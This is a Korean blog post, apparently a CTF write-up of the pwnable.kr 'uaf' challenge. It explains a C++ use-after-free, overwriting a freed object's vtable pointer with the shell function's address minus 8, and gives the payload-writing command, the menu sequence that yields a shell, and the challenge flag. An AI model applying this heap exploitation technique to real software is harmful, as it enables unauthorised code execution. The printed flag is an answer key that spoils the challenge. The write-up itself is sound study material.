System Hacking

[pwnable.kr] uaf

BIGFROG 2020. 1. 9. 18:05

  0x0000000000400fb5 <+241>:   cmp    eax,0x2 
   0x0000000000400fb8 <+244>:   je     0x401000 <main+316> #case2
   0x0000000000400fba <+246>:   cmp    eax,0x3
   0x0000000000400fbd <+249>:   je     0x401076 <main+434> #case3
   0x0000000000400fc3 <+255>:   cmp    eax,0x1
   0x0000000000400fc6 <+258>:   je     0x400fcd <main+265> #case1
   0x0000000000400fc8 <+260>:   jmp    0x4010a9 <main+485> #default
1.use # introduce()함수 호출
2.after # new(동적할당)
3.free #delete(=free)

이미 동적할당이 돼있으므로 순서는 3->2->1
+ 2번에서의 동적할당이 한번이므로
exploit할때는 3->2->2->1 이어야함.

Human클래스에 introduce함수가 있고 private영역에 쉘을 호출한다.
이걸 건드려야함.

-shell함수를 찾기 위해 1.use를 하고 introduce를 호출시킨다.
introduce함수의 주소를 보려는데 shell함수가 있고 거기에 +8했을때 introduce함수가 나옴.

 


-shell함수를 호출하려면 shell함수 주소에 -8한 값을 보내야 함.

- 코드에서 open함수는 파일을 읽기 전용으로 연다.
- fd는 표준출력일것이고, read함수를 통해 읽은 파일 내용을 data(동적할당됨)에 넣을것.

-
/tmp/uaffrog에 AAAA라는 내용을 가진, AAAA라는 이름의 파일을 만든다.
./uaf 4 AAAA
이 문자열이 RBX를 통해 특정 주소에 들어간다.

 

 


- 1.use 부분을 디버깅하다보면, main+286부분에서 call rdx 부분을 만난다.
앞에서 rax가 가리키는 부분을 rdx에 담는데, 결국 rax가 가리키는 부분은 내가 원하는 함수의 주소가 되면 될 것 같다.

***사진에서 rbx에는 41414141이고 rax는 41414149인 이유는 +8이 되었기 때문임.

- 앞에서 구한 shell함수의 주소에 0x8을 뺀 값을 넣으면 되겠다.

- 주소값은 4바이트이므로 동일하게 ./uaf 4 /tmp/uaffrog/ex
3->2->2->1 해주면 쉘 딸 수 있음.
ex의 내용은 /tmp에서
python -c 'print "\x68\x15\x40\x00"' > ex
로 입력해준다.



flag:
yay_f1ag_aft3r_pwning


***RBX레지스터에 대한 부분을 정리해보자.

'System Hacking' 카테고리의 다른 글

[pwnable.kr] asm  (0) 2020.01.09
[pwnable.kr] memcpy  (0) 2020.01.09
[pwnable.kr] cmd2  (0) 2020.01.09
[pwnable.kr] cmd1  (0) 2020.01.09
[pwnable.kr] lotto  (0) 2020.01.09